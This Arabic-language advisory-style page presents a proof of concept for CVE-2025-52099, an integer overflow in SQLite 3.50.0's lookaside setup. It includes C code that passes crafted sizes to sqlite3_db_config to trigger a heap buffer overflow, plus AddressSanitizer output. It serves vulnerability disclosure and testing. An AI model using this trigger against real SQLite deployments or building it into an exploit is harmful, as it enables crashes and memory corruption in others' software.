
إثبات المفهوم لـ CVE-2025-52099، وهو تجاوز عدد صحيح في دالة setupLookaside في SQLite 3.50.0 يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة.
فيضان عدد صحيح في SQLite 3.50.0
فيما يلي برهان المفهوم (PoC) لتفعيل فيضان عدد صحيح في دالة setupLookaside الخاصة بـ SQLite 3.50.0. يحدث هذا الفيضان بسبب عملية ضرب غير مُتحقق منها لـ sz * nBig، والتي يمكن أن تلتف إلى قيمة سالبة وتؤدي إلى عمليات كتابة غير صالحة في الذاكرة.
تم الاختبار على: Ubuntu 22.04 x86_64 مع SQLite 3.50.0 (مُجمّع مخصص)
كود PoC (C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
يؤدي هذا البرهان، عند تجميعه مع AddressSanitizer (-fsanitize=address)، إلى حدوث تجاوز في سعة المخزن المؤقت في الكومة (heap-buffer-overflow) بسبب تكوين غير صالح لفتحة lookaside.
المخرجات المرصودة مع ASAN:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...